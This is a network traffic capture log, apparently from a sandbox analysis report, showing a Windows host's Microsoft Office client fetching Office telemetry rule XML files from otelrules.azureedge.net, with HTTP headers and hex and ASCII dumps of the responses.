2024-11-19 21:07:08 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49875	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-1777c6cb7542p5p4hC1TEBq09800000008hg00000000nh7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49876	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 107b52fc-c01e-00a2-5b8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-r1d97b9957789g82hC1TEBstx000000007sg00000000n6d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49877	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:08 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e99758fe-d01e-0065-348c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210708Z-1777c6cb7549j9hhhC1TEBzmcc00000008ng000000001s3e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49878	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:08 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6d467d74-a01e-0050-5286-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-1777c6cb754whff4hC1TEBcd6c000000077000000000g8pt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49880	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: c1a202f8-901e-005b-118c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-1777c6cb754mrj2shC1TEB6k7w00000008u0000000006c17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49881	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 270c322f-601e-00ab-4d8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-r1d97b99577sdxndhC1TEBec5n00000007x000000000qa29 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49882	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: c9276c1c-a01e-000d-508c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-1777c6cb754dqb2khC1TEBmk1s00000008g000000000s9fr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49879	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: f2376ea7-e01e-000c-078c-3a8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-r1d97b99577hc74hhC1TEBvbns00000007w00000000005q0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49883	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 082f2b53-301e-005d-228c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-1777c6cb754xjpthhC1TEBexs800000008b000000000w069 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49884	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: ef61d792-601e-0002-0d8c-3aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-r1d97b99577dd2gchC1TEBz5ys00000007pg00000000h87u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49885	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 107b574b-c01e-00a2-0a8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-1777c6cb754gc8g6hC1TEB966c00000008h000000000r7hc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:09 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49886	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
